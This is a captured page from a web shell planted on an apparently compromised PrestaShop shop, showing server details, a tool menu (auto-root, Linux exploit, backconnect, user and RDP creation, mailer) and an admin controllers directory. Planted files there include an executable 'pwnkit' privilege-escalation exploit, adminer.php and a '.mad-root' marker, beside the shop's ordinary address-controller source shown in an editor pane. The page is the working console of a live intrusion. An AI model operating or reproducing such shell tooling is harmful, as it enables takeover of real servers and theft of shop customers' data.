Linux webm004.cluster102.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Apache
: 10.102.20.4 | : 216.73.217.153
Cant Read [ /etc/named.conf ]
5.4.45
opusyn1t
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
opusyn1t /
www /
boutique /
controllers /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
AdminAccessController.php
7.63
KB
-rw----r--
AdminAddonsCatalogController.p...
1.98
KB
-rw----r--
AdminAddressesController.php
15.46
KB
-rw----r--
AdminAdminPreferencesControlle...
7.88
KB
-rw----r--
AdminAttachmentsController.php
7.29
KB
-rw----r--
AdminAttributeGeneratorControl...
8.69
KB
-rw----r--
AdminAttributesGroupsControlle...
28.13
KB
-rw----r--
AdminBackupController.php
8.91
KB
-rw----r--
AdminCarrierWizardController.p...
29.49
KB
-rw----r--
AdminCarriersController.php
22.76
KB
-rw----r--
AdminCartRulesController.php
27.36
KB
-rw----r--
AdminCartsController.php
33.12
KB
-rw----r--
AdminCategoriesController.php
28.58
KB
-rw----r--
AdminCmsCategoriesController.p...
10.89
KB
-rw----r--
AdminCmsContentController.php
11.05
KB
-rw----r--
AdminCmsController.php
14.58
KB
-rw----r--
AdminContactsController.php
3.81
KB
-rw----r--
AdminCountriesController.php
14.92
KB
-rw----r--
AdminCurrenciesController.php
11.03
KB
-rw----r--
AdminCustomerPreferencesContro...
4.12
KB
-rw----r--
AdminCustomerThreadsController...
34.39
KB
-rw----r--
AdminCustomersController.php
33.1
KB
-rw----r--
AdminDashboardController.php
15.28
KB
-rw----r--
AdminDeliverySlipController.ph...
4.02
KB
-rw----r--
AdminEmailsController.php
9.18
KB
-rw----r--
AdminEmployeesController.php
21.16
KB
-rw----r--
AdminFeaturesController.php
17.44
KB
-rw----r--
AdminGendersController.php
5.79
KB
-rw----r--
AdminGeolocationController.php
6.01
KB
-rw----r--
AdminGroupsController.php
18.53
KB
-rw----r--
AdminImagesController.php
24.85
KB
-rw----r--
AdminImportController.php
134.18
KB
-rw----r--
AdminInformationController.php
6.49
KB
-rw----r--
AdminInvoicesController.php
8.78
KB
-rw----r--
AdminLanguagesController.php
17.8
KB
-rw----r--
AdminLocalizationController.ph...
12.33
KB
-rw----r--
AdminLoginController.php
9.64
KB
-rw----r--
AdminLogsController.php
3.71
KB
-rw----r--
AdminMaintenanceController.php
2.06
KB
-rw----r--
AdminManufacturersController.p...
23.4
KB
-rw----r--
AdminMarketingController.php
1.63
KB
-rw----r--
AdminMetaController.php
24.65
KB
-rw----r--
AdminModulesController.php
61.15
KB
-rw----r--
AdminModulesPositionsControlle...
21.8
KB
-rw----r--
AdminNotFoundController.php
1.46
KB
-rw----r--
AdminOrderMessageController.ph...
2.67
KB
-rw----r--
AdminOrderPreferencesControlle...
6.37
KB
-rw----r--
AdminOrdersController.php
101.09
KB
-rw----r--
AdminOutstandingController.php
4.95
KB
-rw----r--
AdminPPreferencesController.ph...
10.81
KB
-rw----r--
AdminPatternsController.php
18.18
KB
-rw----r--
AdminPaymentController.php
8.99
KB
-rw----r--
AdminPdfController.php
6.83
KB
-rw----r--
AdminPerformanceController.php
32.64
KB
-rw----r--
AdminPreferencesController.php
6.98
KB
-rw----r--
AdminProductsController.php
183.23
KB
-rw----r--
AdminProfilesController.php
3.13
KB
-rw----r--
AdminQuickAccessesController.p...
4.5
KB
-rw----r--
AdminRangePriceController.php
5.27
KB
-rw----r--
AdminRangeWeightController.php
5.23
KB
-rw----r--
AdminReferrersController.php
14.62
KB
-rw----r--
AdminRequestSqlController.php
13.46
KB
-rw----r--
AdminReturnController.php
9.67
KB
-rw----r--
AdminScenesController.php
10.96
KB
-rw----r--
AdminSearchConfController.php
10.74
KB
-rw----r--
AdminSearchController.php
16.16
KB
-rw----r--
AdminSearchEnginesController.p...
2.65
KB
-rw----r--
AdminShippingController.php
6.4
KB
-rw----r--
AdminShopController.php
26.41
KB
-rw----r--
AdminShopGroupController.php
10.74
KB
-rw----r--
AdminShopUrlController.php
15.56
KB
-rw----r--
AdminSlipController.php
5.46
KB
-rw----r--
AdminSpecificPriceRuleControll...
10.24
KB
-rw----r--
AdminStatesController.php
8.51
KB
-rw----r--
AdminStatsController.php
32.5
KB
-rw----r--
AdminStatsTabController.php
10.03
KB
-rw----r--
AdminStatusesController.php
18.24
KB
-rw----r--
AdminStockConfigurationControl...
18.57
KB
-rw----r--
AdminStockCoverController.php
12.28
KB
-rw----r--
AdminStockInstantStateControll...
17.52
KB
-rw----r--
AdminStockManagementController...
38.91
KB
-rw----r--
AdminStockMvtController.php
9.54
KB
-rw----r--
AdminStoresController.php
17.15
KB
-rw----r--
AdminSuppliersController.php
16.21
KB
-rw----r--
AdminSupplyOrdersController.ph...
73.41
KB
-rw----r--
AdminTabsController.php
9.17
KB
-rw----r--
AdminTagsController.php
4.04
KB
-rw----r--
AdminTaxRulesGroupController.p...
14.35
KB
-rw----r--
AdminTaxesController.php
8.92
KB
-rw----r--
AdminThemesController.php
92.51
KB
-rw----r--
AdminTrackingController.php
11.15
KB
-rw----r--
AdminTranslationsController.ph...
106.53
KB
-rw----r--
AdminWarehousesController.php
18.56
KB
-rw----r--
AdminWebserviceController.php
8.44
KB
-rw----r--
AdminZonesController.php
3.38
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
autoload_classmap.php
0
B
-r--r--r--
index.php
1.24
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AdminAddressesController.php
<?php /* * 2007-2014 PrestaShop * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/osl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to http://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2014 PrestaShop SA * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) * International Registered Trademark & Property of PrestaShop SA */ class AdminAddressesControllerCore extends AdminController { /** @var array countries list */ protected $countries_array = array(); public function __construct() { $this->bootstrap = true; $this->required_database = true; $this->required_fields = array('company','address2', 'postcode', 'other', 'phone', 'phone_mobile', 'vat_number', 'dni'); $this->table = 'address'; $this->className = 'Address'; $this->lang = false; $this->addressType = 'customer'; $this->explicitSelect = true; $this->context = Context::getContext(); $this->addRowAction('edit'); $this->addRowAction('delete'); $this->bulk_actions = array( 'delete' => array( 'text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'), 'icon' => 'icon-trash' ) ); $this->allow_export = true; if (!Tools::getValue('realedit')) $this->deleted = true; $countries = Country::getCountries($this->context->language->id); foreach ($countries as $country) $this->countries_array[$country['id_country']] = $country['name']; $this->fields_list = array( 'id_address' => array('title' => $this->l('ID'), 'align' => 'center', 'class' => 'fixed-width-xs'), 'firstname' => array('title' => $this->l('First Name'), 'filter_key' => 'a!firstname'), 'lastname' => array('title' => $this->l('Last Name'), 'filter_key' => 'a!lastname'), 'address1' => array('title' => $this->l('Address')), 'postcode' => array('title' => $this->l('Zip/Postal Code'), 'align' => 'right'), 'city' => array('title' => $this->l('City')), 'country' => array('title' => $this->l('Country'), 'type' => 'select', 'list' => $this->countries_array, 'filter_key' => 'cl!id_country')); parent::__construct(); $this->_select = 'cl.`name` as country'; $this->_join = ' LEFT JOIN `'._DB_PREFIX_.'country_lang` cl ON (cl.`id_country` = a.`id_country` AND cl.`id_lang` = '.(int)$this->context->language->id.') LEFT JOIN `'._DB_PREFIX_.'customer` c ON a.id_customer = c.id_customer '; $this->_where = 'AND a.id_customer != 0 '.Shop::addSqlRestriction(Shop::SHARE_CUSTOMER, 'c'); } public function initToolbar() { parent::initToolbar(); if (!$this->display) $this->toolbar_btn['import'] = array( 'href' => $this->context->link->getAdminLink('AdminImport', true).'&import_type=addresses', 'desc' => $this->l('Import') ); } public function initPageHeaderToolbar() { if (empty($this->display)) $this->page_header_toolbar_btn['new_address'] = array( 'href' => self::$currentIndex.'&addaddress&token='.$this->token, 'desc' => $this->l('Add new address', null, null, false), 'icon' => 'process-icon-new' ); parent::initPageHeaderToolbar(); } public function renderForm() { $this->fields_form = array( 'legend' => array( 'title' => $this->l('Addresses'), 'icon' => 'icon-envelope-alt' ), 'input' => array( array( 'type' => 'text_customer', 'label' => $this->l('Customer'), 'name' => 'id_customer', 'required' => false, ), array( 'type' => 'text', 'label' => $this->l('Identification Number'), 'name' => 'dni', 'required' => false, 'col' => '4', 'hint' => $this->l('DNI / NIF / NIE') ), array( 'type' => 'text', 'label' => $this->l('Address alias'), 'name' => 'alias', 'required' => true, 'col' => '4', 'hint' => $this->l('Invalid characters:').' <>;=#{}' ), array( 'type' => 'text', 'label' => $this->l('Home phone'), 'name' => 'phone', 'required' => false, 'col' => '4', 'hint' => Configuration::get('PS_ONE_PHONE_AT_LEAST') ? sprintf($this->l('You must register at least one phone number.')) : '' ), array( 'type' => 'text', 'label' => $this->l('Mobile phone'), 'name' => 'phone_mobile', 'required' => false, 'col' => '4', 'hint' => Configuration::get('PS_ONE_PHONE_AT_LEAST') ? sprintf($this->l('You must register at least one phone number.')) : '' ), array( 'type' => 'textarea', 'label' => $this->l('Other'), 'name' => 'other', 'required' => false, 'cols' => 15, 'rows' => 3, 'hint' => $this->l('Forbidden characters:').' <>;=#{}' ), ), 'submit' => array( 'title' => $this->l('Save'), ) ); $id_customer = (int)Tools::getValue('id_customer'); if (!$id_customer && Validate::isLoadedObject($this->object)) $id_customer = $this->object->id_customer; if ($id_customer) { $customer = new Customer((int)$id_customer); $token_customer = Tools::getAdminToken('AdminCustomers'.(int)(Tab::getIdFromClassName('AdminCustomers')).(int)$this->context->employee->id); } $this->tpl_form_vars = array( 'customer' => isset($customer) ? $customer : null, 'tokenCustomer' => isset ($token_customer) ? $token_customer : null ); // Order address fields depending on country format $addresses_fields = $this->processAddressFormat(); // we use delivery address $addresses_fields = $addresses_fields['dlv_all_fields']; $temp_fields = array(); foreach ($addresses_fields as $addr_field_item) { if ($addr_field_item == 'company') { $temp_fields[] = array( 'type' => 'text', 'label' => $this->l('Company'), 'name' => 'company', 'required' => false, 'col' => '4', 'hint' => $this->l('Invalid characters:').' <>;=#{}' ); $temp_fields[] = array( 'type' => 'text', 'label' => $this->l('VAT number'), 'col' => '2', 'name' => 'vat_number' ); } else if ($addr_field_item == 'lastname') { if (isset($customer) && !Tools::isSubmit('submit'.strtoupper($this->table)) && Validate::isLoadedObject($customer) && !Validate::isLoadedObject($this->object)) $default_value = $customer->lastname; else $default_value = ''; $temp_fields[] = array( 'type' => 'text', 'label' => $this->l('Last Name'), 'name' => 'lastname', 'required' => true, 'col' => '4', 'hint' => $this->l('Invalid characters:').' 0-9!&lt;&gt;,;?=+()@#"�{}_$%:', 'default_value' => $default_value, ); } else if ($addr_field_item == 'firstname') { if (isset($customer) && !Tools::isSubmit('submit'.strtoupper($this->table)) && Validate::isLoadedObject($customer) && !Validate::isLoadedObject($this->object)) $default_value = $customer->firstname; else $default_value = ''; $temp_fields[] = array( 'type' => 'text', 'label' => $this->l('First Name'), 'name' => 'firstname', 'required' => true, 'col' => '4', 'hint' => $this->l('Invalid characters:').' 0-9!&lt;&gt;,;?=+()@#"�{}_$%:', 'default_value' => $default_value, ); } else if ($addr_field_item == 'address1') { $temp_fields[] = array( 'type' => 'text', 'label' => $this->l('Address'), 'name' => 'address1', 'col' => '6', 'required' => true, ); } else if ($addr_field_item == 'address2') { $temp_fields[] = array( 'type' => 'text', 'label' => $this->l('Address').' (2)', 'name' => 'address2', 'col' => '6', 'required' => false, ); } elseif ($addr_field_item == 'postcode') { $temp_fields[] = array( 'type' => 'text', 'label' => $this->l('Zip/Postal Code'), 'name' => 'postcode', 'col' => '2', 'required' => true, ); } else if ($addr_field_item == 'city') { $temp_fields[] = array( 'type' => 'text', 'label' => $this->l('City'), 'name' => 'city', 'col' => '4', 'required' => true, ); } else if ($addr_field_item == 'country' || $addr_field_item == 'Country:name') { $temp_fields[] = array( 'type' => 'select', 'label' => $this->l('Country'), 'name' => 'id_country', 'required' => false, 'col' => '4', 'default_value' => (int)$this->context->country->id, 'options' => array( 'query' => Country::getCountries($this->context->language->id), 'id' => 'id_country', 'name' => 'name' ) ); $temp_fields[] = array( 'type' => 'select', 'label' => $this->l('State'), 'name' => 'id_state', 'required' => false, 'col' => '4', 'options' => array( 'query' => array(), 'id' => 'id_state', 'name' => 'name' ) ); } } // merge address format with the rest of the form array_splice($this->fields_form['input'], 3, 0, $temp_fields); return parent::renderForm(); } public function processSave() { if (Tools::getValue('submitFormAjax')) $this->redirect_after = false; // Transform e-mail in id_customer for parent processing if (Validate::isEmail(Tools::getValue('email'))) { $customer = new Customer(); $customer->getByEmail(Tools::getValue('email'), null, false); if (Validate::isLoadedObject($customer)) $_POST['id_customer'] = $customer->id; else $this->errors[] = Tools::displayError('This email address is not registered.'); } else if ($id_customer = Tools::getValue('id_customer')) { $customer = new Customer((int)$id_customer); if (Validate::isLoadedObject($customer)) $_POST['id_customer'] = $customer->id; else $this->errors[] = Tools::displayError('Unknown customer'); } else $this->errors[] = Tools::displayError('Unknown customer'); if (Country::isNeedDniByCountryId(Tools::getValue('id_country')) && !Tools::getValue('dni')) $this->errors[] = Tools::displayError('The identification number is incorrect or has already been used.'); /* If the selected country does not contain states */ $id_state = (int)Tools::getValue('id_state'); $id_country = (int)Tools::getValue('id_country'); $country = new Country((int)$id_country); if ($country && !(int)$country->contains_states && $id_state) $this->errors[] = Tools::displayError('You have selected a state for a country that does not contain states.'); /* If the selected country contains states, then a state have to be selected */ if ((int)$country->contains_states && !$id_state) $this->errors[] = Tools::displayError('An address located in a country containing states must have a state selected.'); $postcode = Tools::getValue('postcode'); /* Check zip code format */ if ($country->zip_code_format && !$country->checkZipCode($postcode)) $this->errors[] = Tools::displayError('Your Zip/postal code is incorrect.').'<br />'.Tools::displayError('It must be entered as follows:').' '.str_replace('C', $country->iso_code, str_replace('N', '0', str_replace('L', 'A', $country->zip_code_format))); elseif(empty($postcode) && $country->need_zip_code) $this->errors[] = Tools::displayError('A Zip/postal code is required.'); elseif ($postcode && !Validate::isPostCode($postcode)) $this->errors[] = Tools::displayError('The Zip/postal code is invalid.'); if (Configuration::get('PS_ONE_PHONE_AT_LEAST') && !Tools::getValue('phone') && !Tools::getValue('phone_mobile')) $this->errors[] = Tools::displayError('You must register at least one phone number.'); /* If this address come from order's edition and is the same as the other one (invoice or delivery one) ** we delete its id_address to force the creation of a new one */ if ((int)Tools::getValue('id_order')) { $this->_redirect = false; if (isset($_POST['address_type'])) $_POST['id_address'] = ''; } // Check the requires fields which are settings in the BO $address = new Address(); $this->errors = array_merge($this->errors, $address->validateFieldsRequiredDatabase()); if (empty($this->errors)) return parent::processSave(); else // if we have errors, we stay on the form instead of going back to the list $this->display = 'edit'; /* Reassignation of the order's new (invoice or delivery) address */ $address_type = ((int)Tools::getValue('address_type') == 2 ? 'invoice' : ((int)Tools::getValue('address_type') == 1 ? 'delivery' : '')); if ($this->action == 'save' && ($id_order = (int)Tools::getValue('id_order')) && !count($this->errors) && !empty($address_type)) { if (!Db::getInstance()->execute('UPDATE '._DB_PREFIX_.'orders SET `id_address_'.$address_type.'` = '.Db::getInstance()->Insert_ID().' WHERE `id_order` = '.$id_order)) $this->errors[] = Tools::displayError('An error occurred while linking this address to its order.'); else Tools::redirectAdmin(Tools::getValue('back').'&conf=4'); } } public function processAdd() { if (Tools::getValue('submitFormAjax')) $this->redirect_after = false; return parent::processAdd(); } /** * Get Address formats used by the country where the address id retrieved from POST/GET is. * * @return array address formats */ protected function processAddressFormat() { $tmp_addr = new Address((int)Tools::getValue('id_address')); $selected_country = ($tmp_addr && $tmp_addr->id_country) ? $tmp_addr->id_country : (int)Configuration::get('PS_COUNTRY_DEFAULT'); $inv_adr_fields = AddressFormat::getOrderedAddressFields($selected_country, false, true); $dlv_adr_fields = AddressFormat::getOrderedAddressFields($selected_country, false, true); $inv_all_fields = array(); $dlv_all_fields = array(); $out = array(); foreach (array('inv','dlv') as $adr_type) { foreach (${$adr_type.'_adr_fields'} as $fields_line) foreach (explode(' ', $fields_line) as $field_item) ${$adr_type.'_all_fields'}[] = trim($field_item); $out[$adr_type.'_adr_fields'] = ${$adr_type.'_adr_fields'}; $out[$adr_type.'_all_fields'] = ${$adr_type.'_all_fields'}; } return $out; } /** * Method called when an ajax request is made * @see AdminController::postProcess() */ public function ajaxProcess() { if (Tools::isSubmit('email')) { $email = pSQL(Tools::getValue('email')); $customer = Customer::searchByName($email); if (!empty($customer)) { $customer = $customer['0']; echo Tools::jsonEncode(array('infos' => pSQL($customer['firstname']).'_'.pSQL($customer['lastname']).'_'.pSQL($customer['company']))); } } die; } /** * Object Delete */ public function processDelete() { if (Validate::isLoadedObject($object = $this->loadObject())) if (!$object->isUsed()) $this->deleted = false; return parent::processDelete(); } /** * Delete multiple items * * @return boolean true if succcess */ protected function processBulkDelete() { if (is_array($this->boxes) && !empty($this->boxes)) { $deleted = false; foreach ($this->boxes as $id) { $to_delete = new Address((int)$id); if ($to_delete->isUsed()) { $deleted = true; break; } } $this->deleted = $deleted; } return parent::processBulkDelete(); } }
Close